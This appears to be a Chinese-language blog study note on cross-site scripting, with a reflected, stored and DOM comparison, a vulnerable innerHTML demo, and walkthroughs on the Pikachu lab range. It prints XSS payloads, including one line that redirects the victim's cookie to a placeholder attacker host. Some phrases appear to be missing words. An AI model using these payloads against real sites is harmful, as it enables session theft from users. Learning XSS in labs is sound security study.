Skip to content
Kurisu
Go back

XSS 跨站脚本攻击

我的 XSS 笔记:反射型和存储型到底差在哪、Payload 怎么按输出点构造、窃取 Cookie 的完整演示,我在 Pikachu 靶场上把每一种都打过一遍。

核心知识点

1. 网站三件套(前端/后端/数据库)

2. XSS 原理

3. 三种 XSS 类型

类型特点触发条件
反射型非化,脚本不存数据库,通过 URL/表单提交,“反射”回页面需诱导点击恶意链接(社会工程学)
存储型最危险,脚本存储于数据库/文件任何访问该页面的用户自动触发
DOM 型攻击前端 JS 直接操作 DOM,无需与服务器交互构造恶意 URL 或利用特定 HTML 属性

4. 基础实验(记事本 + 浏览器)

<input type="text" id="userInput">
<button onclick="leaveMessage()">提交留言</button>
<div id="displayArea"></div>
<script>
  function leaveMessage() {
    var text = document.getElementById('userInput').value;
    document.getElementById('displayArea').innerHTML = text;  // 无任何防范
  }
</script>

正常:今天天气真好! → 正常显示。 攻击:

<img src="x" onerror="alert('警告:你被黑客攻击了!')">

利用坏掉的图片标签,图片加载失败触发 onerror 弹窗。真实攻击中是后台静默窃取凭证。

5. Pikachu 靶场实战

反射型 XSS(GET)

  1. Cross-Site Scripting -> 反射型xss(get)
  2. test 提交,页面回显 who is test,i don't care.,说明被拼进 HTML。
  3. <script>alert('XSS')</script>
  4. 遇到前端限制<input>maxlength 属性,。按 F12 修改/删除 maxlength 属性(设为大数如 100)。
  5. 提交后浏览器弹窗。URL 中可见 ?message=<script>alert('XSS')</script>——这就是钓鱼链接。

存储型 XSS

  1. Cross-Site Scripting -> 存储型xss(留言板功能)。
  2. 留言框 <script>alert('这是存储型XSS')</script> 提交。
  3. 浏览器重开/换浏览器访问,页面一加载仍弹窗 → 证明脚本已数据库。

7. 防御与绕过

实操步骤

# 反射型 Payload
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>

# 窃取 Cookie(真实攻击示意)
<script>document.location='http://攻击IP/steal.php?c='+document.cookie</script>

# 存储型:提交到留言板后化触发

防御代码示例:

echo htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');

常见错误与排查


Share this post:

Previous Post
SQL 进阶与 sqlmap
Next Post
文件上传漏洞